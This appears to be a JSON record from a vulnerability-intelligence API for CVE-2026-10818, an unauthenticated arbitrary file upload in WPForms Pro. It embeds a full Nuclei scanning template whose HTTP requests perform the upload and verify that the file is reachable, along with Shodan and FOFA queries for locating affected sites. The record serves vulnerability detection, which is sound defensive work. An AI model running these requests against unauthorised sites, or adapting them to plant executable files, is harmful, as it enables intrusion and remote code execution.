{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-10818/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-10818/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-10818/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-10818/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-10818/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-10818/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-10818"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2026-10818"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.02482,
      "kev": false,
      "percentile": 0.8459
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-10818.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2026-10818\n\ninfo:\n  name: WPForms Pro <= 1.10.1.1 - Unauthenticated Arbitrary File Upload\n  author: i-am-paradox\n  severity: high\n  description: |\n    WPForms Pro for WordPress up to and including 1.10.1.1 allows unauthenticated arbitrary file upload. The wpforms_upload_chunk_init, wpforms_upload_chunk and wpforms_file_chunks_uploaded AJAX actions are registered for unauthenticated visitors without a nonce check, and raw chunk bytes are written under wp-content/uploads/wpforms/tmp/ before file extension and MIME type validation happens, so a rejected upload never removes the already written file. An unauthenticated attacker can plant arbitrary files and, depending on server configuration, achieve remote code execution.\n  impact: |\n    Unauthenticated attackers can plant arbitrary files in the webroot, which can lead to remote code execution when the written file is reachable and interpreted by the server.\n  remediation: |\n    Update WPForms Pro to a version later than 1.10.1.1.\n  reference:\n    - https://github.com/Nxploited/CVE-2026-10818\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-10818\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.1\n    cve-id: CVE-2026-10818\n    epss-score: 0.02482\n    epss-percentile: 0.84638\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: awesome-motive\n    product: wpforms\n    shodan-query: http.html:\"wpforms-uploader\"\n    fofa-query: body=\"wpforms-uploader\"\n  tags: cve,cve2026,wordpress,wp-plugin,wpforms,fileupload,unauth,intrusive,vkev\n\nvariables:\n  dzuuid: \"{{randstr}}\"\n  chunkname: \"{{sha1(dzuuid)}}\"\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 3\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"wpforms-uploader\")'\n        internal: true\n    extractors:\n      - type: regex\n        name: form_id\n        regex:\n          - 'data-form-id=\"(\\d+)\"'\n        group: 1\n        internal: true\n      - type: regex\n        name: field_id\n        regex:\n          - 'data-field-id=\"(\\d+)\"'\n        group: 1\n        internal: true\n      - type: regex\n        name: input_name\n        regex:\n          - 'data-input-name=\"([^\"]+)\"'\n        group: 1\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=wpforms_upload_chunk_init&form_id={{form_id}}&field_id={{field_id}}&name=nx-{{randstr}}.txt&dzuuid={{dzuuid}}&dztotalfilesize=32&dztotalchunkcount=1\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----nxBoundary\n\n        ------nxBoundary\n        Content-Disposition: form-data; name=\"action\"\n\n        wpforms_upload_chunk\n        ------nxBoundary\n        Content-Disposition: form-data; name=\"form_id\"\n\n        {{form_id}}\n        ------nxBoundary\n        Content-Disposition: form-data; name=\"field_id\"\n\n        {{field_id}}\n        ------nxBoundary\n        Content-Disposition: form-data; name=\"dzuuid\"\n\n        {{dzuuid}}\n        ------nxBoundary\n        Content-Disposition: form-data; name=\"dzchunkindex\"\n\n        0\n        ------nxBoundary\n        Content-Disposition: form-data; name=\"dzchunksize\"\n\n        32\n        ------nxBoundary\n        Content-Disposition: form-data; name=\"dztotalchunkcount\"\n\n        1\n        ------nxBoundary\n        Content-Disposition: form-data; name=\"dzchunkbyteoffset\"\n\n        0\n        ------nxBoundary\n        Content-Disposition: form-data; name=\"{{input_name}}\"; filename=\"nx-{{randstr}}.txt\"\n        Content-Type: text/plain\n\n        {{randstr}}\n        ------nxBoundary--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"\\\"success\\\":true\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-content/uploads/wpforms/tmp/{{chunkname}}-0.chunk HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"{{randstr}}\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a0047304502201ab638fa0f23e54a6bbb28583cab5760955df522611d9e517f15314f6345bb49022100c39ac00d132a1395d2df7cc7e07906907446f4fb36fbdc3912d4c8d3796fcee4:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-10818"
}